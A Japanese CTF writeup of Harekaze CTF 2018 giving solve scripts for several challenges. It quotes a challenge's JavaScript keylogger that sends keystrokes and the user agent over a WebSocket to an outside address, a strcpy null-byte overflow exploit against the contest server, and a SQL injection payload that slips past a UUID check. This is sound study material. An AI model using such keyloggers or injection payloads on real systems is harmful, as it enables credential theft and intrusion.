Harekaze CTF 2018 供養(Writeup)

Harekaze CTF 2018に参加。1430ptで23位。

welcome flag (WarmUp, 10 points)

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (WarmUp, 30 points)

ROT13。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 'UnerxnmrPGS{Uryyb, jbeyq!}'.decode('rot13')
u'HarekazeCTF{Hello, world!}'

Obfuscated Password Checker (Web, 50 points)

bundle.jsに難読化されたパスワードチェック処理がある。 グローバル変数にいろいろ入っているので、Developer Toolsのコンソールで調べてみるとフラグがあった。

>> console.dir(window)
Window
  _0x2b0ce8: function _0x2b0ce8()
  _0x91f9: Array [ "E1fCjlfCmg==", "wrh/dD3DpMKxWBfDjDLDnFjCncK0VsOKY3Qu", "wpPDv8OUbcKke8KYwq3Cu8OSw6TCscK+w7cuwpzCjx0AwqRMw4BbwrE2wqzChcKUwo/Di8OuVQ==", … ]
  _0x991f: _0x991f()
    arguments: null
    caller: null
    data: {…}
      0V1mU: "apply"
      2tyXd: "{}.constructor(\"return this\")( )"
      3wC12: "console"
      "6E&wy": "warn"
      "12M)@": "return (function() "
      "12ea#G": "console"
      15UjzH: "console"
      16RI1J: "debug"
      "17Y]U9": "console"
      18Ay1I: "info"
      19Ay1I: "console"
      "22rg!@": "exception"
      "23cO2*": "console"
      24BOyr: "trace"
      26BOyr: "call"
      "27e]Rd": "exports"
      28wC12: "exports"
      "29O!qf": "exports"
      "37f&tJ": "addEventListener"
      "39i$MQ": "getElementById"
      "41ea#G": "getElementById"
      43SbU8: "getElementById"
      "44ea#G": "info"
      "45H@[h": "addEventListener"
      "46VpD$": "click"
      "59e]Rd": "length"
      "60Lt&5": "constructor"
      "61eQq&": "debugger"
      62V1mU: "constructor"
      63Ay1I: "debugger"
      132PNc: "log"
      "144%nq": "console"
      208DMT: "error"
      212PNc: "console"
      361Z5I: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}"
      "384%nq": "load"
      "422M)@": "button"
      409061: "password"
      __proto__: Object { … }
    initialized: true
    length: 2
    name: "_0x991f"
    once: true
    prototype: Object { … }
    rc4: function _0x15a4b9()
    __proto__: function ()
  [default properties]
  __proto__: WindowPrototype { … }

div N (Rev, 100 points)

整数除算のmagic numberから除数を逆算する問題。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> pow(2, 64+0x30)/0x49ea309a821a0d01 + 1
974873638438446L

gacha (Crypto, 100 points)

RSA。 平文がわかっているので、暗号文を計算して一致するものを選ぶ。

# -*- coding: utf-8 -*-
from minipwn import *

# >>> [x.encode('hex') for x in ['WIN 💎', 'LOSE 💩']]
# ['57494e20f09f928e', '4c4f534520f09f92a9']

s = socket.create_connection(('problem.harekaze.com', 30214))
print recvuntil(s, '\n\n')

while True:
    print recvline(s)
    x1 = eval(recvline(s)[12:-1])
    x2 = eval(recvline(s)[12:-1])
    x3 = eval(recvline(s)[12:-1])
    recvuntil(s, '>>> ')
    options = [x1, x2, x3]
    for i, v in enumerate(options):
        n, e, c = v
        result = pow(0x57494e20f09f928e, e, n)
        if result == c:
            sendline(s, str(i+1))
            break
    else:
        raise Exception('something wrong')
    for i in xrange(6):
        print recvline(s),
    maybe_flag = recvline(s)
    if 'HarekazeCTF' in maybe_flag:
        print maybe_flag
        break
[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Fight (Crypto, 100 points)

乱数でbyte-wise XORされたフラグを求める問題。 乱数のseedが 4529255040439033800342855653030016000 未満の互いに素な自然数の個数(オイラーのφ関数)になっている。

$ gp -q
? eulerphi(4529255040439033800342855653030016000)
765753154007029226621575888896000000

seedを与えてXORするとフラグが得られる。

b'HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}'

Harekaze Farm (Pwn, 100 points)

strcpyがnullバイトで処理を止めることを利用する。

from minipwn import *

#s = connect_process(['./harekaze_farm'])
s = socket.create_connection(('problem.harekaze.com', 20328))
print recvuntil(s, ': ')
sendline(s, 'cow\x00AAAAisoroku')
print recvuntil(s, ': ')
sendline(s, '')
print recvuntil(s, ': ')
sendline(s, '')
interact(s)
$ python solve.py
Welcome to Harekaze farm
Input a name of your favorite animal:
Input a name of your favorite animal:
Input a name of your favorite animal:
Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

*** Connection closed by remote host ***

15 Puzzle (Rev, 200 points)

.NET実行ファイル。

$ file Harekaze15Puzzle.exe
Harekaze15Puzzle.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開くと、乱数を固定回数得た後byte-wise XORすることでフラグを復号していることがわかる。 乱数のseedはクラスのアセンブリコードから作られているので、先にデバッガにてseedを調べた後アセンブリコードを編集することでフラグを得た。

HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}

Logger (Rev + Net, 200 points)

与えられたpcapにあるbundle.jsのスクリプトを見ると、WebSocketでUser-Agentとキーコードをエンコードして送っていることがわかる。 エンコード処理は、変換テーブルを鍵tとしたBase58風の変換になっている。

window.addEventListener("DOMContentLoaded", function() {
    function encode(s, t) {
        var r = [];
        if (typeof s === "string") {
            s = new TextEncoder("utf-8").encode(s)
        }
        var i, z;
        for (i = 0; i < s.length; i++) {
            if (s[i]) {
                break
            }
        }
        z = i;
        for (; i < s.length; i++) {
            var c = s[i];
            var j;
            for (j = 0; j in r || c; j++) {
                if (r[j]) {
                    c += r[j] * 256
                }
                r[j] = c % 58;
                c = Math.floor(c / 58)
            }
        }
        return t[0].repeat(z) + r.reverse().map(function(x) {
            return t[x]
        }).join("")
    }

    function hash(s) {
        var r = 0,
            i;
        for (i = 0; i < s.length; i++) {
            r = r * 31 + s.charCodeAt(i) | 0
        }
        return r
    }

    function rand(s) {
        var x = 123456789;
        var y = 362436069;
        var z = 521288629;
        var w = 88675123;
        var t;
        return function(a, b) {
            t = x ^ x << 11;
            x = y;
            y = z;
            z = w;
            w = w ^ w >> 19 ^ (t ^ t >> 8);
            if (a !== undefined && b !== undefined) {
                return a + w % (b + 1 - a)
            }
            return w
        }
    }

    function shuffle(a, r) {
        var i;
        for (i = a.length - 1; i > 0; i--) {
            var j = Math.abs(r(0, i));
            var t = a[i];
            a[i] = a[j];
            a[j] = t
        }
    }
    var w = new WebSocket("ws://192.168.99.101:7467");
    var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";
    w.addEventListener("open", function(event) {
        var s = navigator.userAgent;
        w.send(encode(navigator.userAgent, t));
        t = t.split("");
        shuffle(t, rand(hash(s)));
        t = t.join("")
    });
    Array.from(document.getElementsByTagName("input")).forEach(function(e) {
        e.addEventListener("keyup", function(v) {
            w.send(encode(Math.random().toString().slice(2) + " " + v.key, t))
        }, false)
    })
}, false);

鍵はUser-Agentを送信した後変わるので、復号したUser-Agentをもとに次の鍵を計算する。

texts = """T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
iCmUsu3sWAgt1DLDTPiCsMkiJ
iTS5kqhhN6dZgQfzeXgG7yYr5
uKGMC4ZpKpR1Hbek9LnoWag
MENtnhfQx47g2MD4YfaPpapNRA
iBKoHeQsAyZ3yYg5uzbDpVBza
mez8Y8onREos36hbs1W3PrzEVyF
ioHr8fnSqtoRvLkvW6z6YoZLQ
iBKN3429YfCEmRAxT6f9g9Qsv
yvDepd8vhnp8MQNeYfiBKg2L5apQCZ
iDM2FWZnm2fnpYmYGmqVWex27
iDyQ3jA179gqDNzj51e8SzqfP
iDRMoK3vV8dwipy12npBHDCx6
RoAaJ29cybX87mddDKDJdDEw3ZGE29
iDVvjasQqyiaf7vKnNixERsNP
iBz2L9ZX6LUyopeooorQDnwYi
MEBmf8UBvosB98ocQawh9XZ45n
iM4zg74tACAR4XB7khRmL5gLC
iCATz5TGy5jcsCLGWawZSc8zc
iyvVZ3Q5xAVGy1ZLXZFdnXTep
iDS5YadHVaegKNDjYJkamNM8a
yvrGR54rYJj19e75eo1TACqEAuGfow
ioPy4npLFrivepDY4MioMARxZ
iBwMxi5246Xg7UQi2yvJQ8Xg6
iyvVWzDwMaVPLaZYQ2y975QT6
4VXm8RKGEgG95iKCXam1ygN
M77CEgVf6os6K6tjN1M6A9y7pn
MVeeCjRXYXcKdAgCxKFTJgAdZo
meFcfCq8k1CzkESo7i4GDRnhx9n
iyvkbgC3k9R7JTPUESdmeZfzn
oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr
iEEhZ5DXWedXQ4iUQbmwrGrs3
dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq
iCAjd7zUWskbSy9RLYjtrZDCV
qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH
iShnuif7DhNDTetUZMXWG9rLJ
iDSiqPQnncdz6Rs6YGzmeWuqE
iC8FaVhXmb1GYXrCGw5CcuAXC
i7fBGggWJf9LNRdVprPLPpei3
i7fxmXUMpgst9kACHosb91Cka
MECvB5p81fNgVACMmJQsVd6cQB
iiDMtEVW7BUo5ocRRN4inXdQ7
iSEGbN9YJHTXWLQp2JRMcPmFp
iy9KSw2qYEeVA627cyZzH6F6U
iCN8mpZLH7uUp1fUADyGA5P95
MECbuHyU6L65iPw5Asw92EekYa
yvzJxXHW4XEPsncH4zSHDxVZf9tzxk
iBz2LgRNBBfq42MTaCV3wvjCR
iM5bfsw5xU93kTpig2Q4YmS7A
iBYgT3V51QMxRuxhUS1dSm6s2
ME8pn9tTKm3HEkhnFUeXyB7Wtd
iCN5jfUJiqBYWEbP3hhFgDfci
iDVWAJwuudMAi7x7CpNGARxA4
iMGUZeMFtyDcYf7qGpMHfsEvB
iCA3E5NsH2vMvZck9rexTLXG4
horZcydUns9SRFV8wefAJhEYWGwVfxrS
ME131HW8CbVfH26b1XpK6741Kk
iSEGaKaTXheBaHoAFgrF2ncaL
T6Kihw84sq6JnwNc1V6ps5
iDSNbdyahA2wUahbo5oaztjvm
iyvVWY7oECQ2PE3nLMW9ZcR1Q
iidqHMFJ5xshHM4XstWfXvHqJ
hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m
iC51H2btb9FywrKrgFCqcCUnA
iyvVZ8xTQrukCAiSe6Yrfogg4
i7qb1XR4yhPUzyK1y1k1M1kHH
iyducwzyZxJgeN11VjtYrPnrt
iBwageNmGH9F1Cx7gcK8nhPkC
yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
"""

def base58_like_decode(s, key):
    base_count = len(key)

    decoded = 0
    multi = 1
    s = s[::-1]
    for char in s:
        decoded += multi * key.index(char)
        multi = multi * base_count
    return ("%02x" % decoded).decode('hex')

key1 = 'MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp'
key2 = 'Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq'
for i, line in enumerate(texts.splitlines()):
    key = key1 if i < 4 else key2
    print "%r" % base58_like_decode(line, key)
$ python solve.py
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'9939691852144892 i'
'3859885261512208 r'
'150145858608417 i'
'18567251159095166 z'
'7576458777211459 a'
'026972594242234305 k'
'2764480095938977 i'
'7619045353800709 _'
'5178571305666269 Shift'
'8074027219998314 m'
'8956491355702074 e'
'8670453908645435 i'
'011659703838099222 Tab'
'8187754933758598 u'
'7137578694896829 t'
'10685363636314182 e'
'4037649614420644 u'
'9547499006667151 t'
'6804633006850678 e'
'8527906993351082 _'
'5419370398984358 Shift'
'2139335311774213 d'
'7719704024064638 a'
'6872561448387979 m'
'978853711240298 a'
'27678191579008526 s'
'21712587887769974 h'
'008838643293209936 i'
'6968951321131645 i'
'5659857613222705 Control'
'0881841960341716 a'
'809443148452283 Backspace'
'9590280939075162 H'
'04511512569247045 Shift'
'5801697350055479 a'
'8402687974500731 r'
'9049605873902304 e'
'5007062769608761 k'
'5096873156118242 a'
'12161528139619371 z'
'1005416542059554 e'
'5629111190926932 C'
'6008572749776933 T'
'9409767293718467 F'
'12544265098544072 {'
'5884094633930836 Shift'
'7134343065666682 7'
'4504682199625718 r'
'7963206866962564 1'
'17610405187451073 6'
'9442152449942891 6'
'8273018665705658 3'
'4154717364716134 r'
'9617594337921764 _'
'40848781307522053 Shift'
'15416183502271852 h'
'5645719251292425 4'
'98042680667325 p'
'8572499225178345 p'
'6875257188592576 y'
'1751574910137419 _'
'28951702513811517 Shift'
'9235607179034739 6'
'6800631359494727 1'
'5440433413536723 r'
'6339927149278366 l'
'7846849786881289 }'
'7076479870105414 Shift'
"\x1b\x1bC\xaf\x81\xe2\xf4\x9d\x9e\xc2V\xd7I4=,\xcb\x17a\xdf\xd8\x9d\xe1Y\xa3\x977\x08\xe2\xe8\x95X2\x13.\xd1\xac\xbdc\xa6\xf1:\xe2_\xda\x0c+\xf6q\x9d2\xae8x\xd5\xe6\xd1\x13I(|Yi\x97[\xc9$;p\xdd\xff\xbc\xef\xbb\xcb\xf0\xb1\xeeH\xcd]\xbat'pkVX\xfbo\x89-\x05H\xbb\xc8!\x86\x93\xb6\xc1\x84\xdc\x00\x1f\xb8\x89xx\x84\xf2\xc3\xf1\xae\xc4"
HarekazeCTF{7r1663r_h4ppy_61rl}

Round and Round (Crypto, 200 points)

RSA。 次の3つの値が与えられる。

enc = pow(FLAG, e, n)
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))

次のような連立方程式が成り立つので、これを解くことでp1、q1からp、qが求まる。

p1 = \sigma_{i=0}^{q-1} ((p-1)^i mod p) = 1 + (p-1) + (p^2-2*p+1) + ... = 1 + (p-1) + 1 + (p-1) + ... + 1 = (p-1)*(q-1)/2 + q/2
q1 = (p-1)*(q-1)/2 + p/2
import gmpy

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

a = p1
b = q1
t = gmpy.sqrt(4*a*a-8*a*b+4*a+4*b*b+4*b-3)
p = (t-2*a+2*b+1)/2
q = (t+2*a-2*b+1)/2

e = (1<<16)+1
d = gmpy.invert(e, (p-1)*(q-1))
print ("%02x" % pow(enc, d, p*q)).decode('hex')
$ python solve.py
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

Sokosoko Secure Uploader (Web, 100 points)

与えられた暗号化済みPNGファイルを復号する問題。また、鍵となるUUIDが9e5aで始まることが与えられている。 SQLiteSQL injection脆弱性があるが、is_uuid関数によるチェックを通るように文字列を与える必要がある。

'OR id/*-AAAA-AAAA-AAAA-*/LIKE'9e5a%
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}

my favorite language (Rev + Misc, 200 points)

Lazy Kで書かれたフラグチェッカー。 C言語で書かれたインタプリタで実行した際の命令数をIntel Pinを用いて調べると、1バイトごとに比較が行われていることがわかる。 何文字か探索するとフラグが16進文字列らしいことがわかるので、これを利用して範囲を絞りつつ探索する。

from subprocess import Popen, PIPE

chars = map(ord, ' 0123456789ABCDEF{}')

s = 'HarekazeCTF{'
while True:
    last = None
    #for c in xrange(0x20, 0x7f):
    for c in chars:
        s2 = s + chr(c)
        p = Popen(['bash', '../pin-3.5-97503-gac534ca30-gcc-linux/inscount0.sh', './lazyk', 'foo.lazy'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = p.communicate(s2+'\n')
        inscount = int(stderr)
        print "%s: %d" % (s2, inscount)
        if last is not None and inscount > last:
            s = s2
            break
        last = inscount
    else:
        raise Exception()
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93Cz: 248839183
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C{: 244417392
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C|: 241721601
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C}: 241942949
$ echo -n HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C} | ./lazyk foo.lazy
correct flag

recursive zip (Warmup, 40 points)

flag.zipの中にflag.zipが再帰的に入っているという問題。 次のようなシェルスクリプトで解いた。

#!/bin/bash
unzip -p flag.zip >a.zip
while true; do
xxd a.zip | head
unzip -p a.zip >b.zip
xxd b.zip | head
unzip -p b.zip >a.zip
done
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}

所感

他に解きたかった問題は以下。

  • Lost_data (For + Misc, 100 points)
  • WE'RE WATCHING YOU! (Misc +OSINT, 100 points)
  • Unnormalized-form Data (Misc, 127 points)
  • Flea Attack (Pwn, 200 points)
  • alnush (Pwn, 200 points)
  • gacha 2 (Crypto, 350 points)
  • my favorite language 2 (Rev + Misc, 250 points)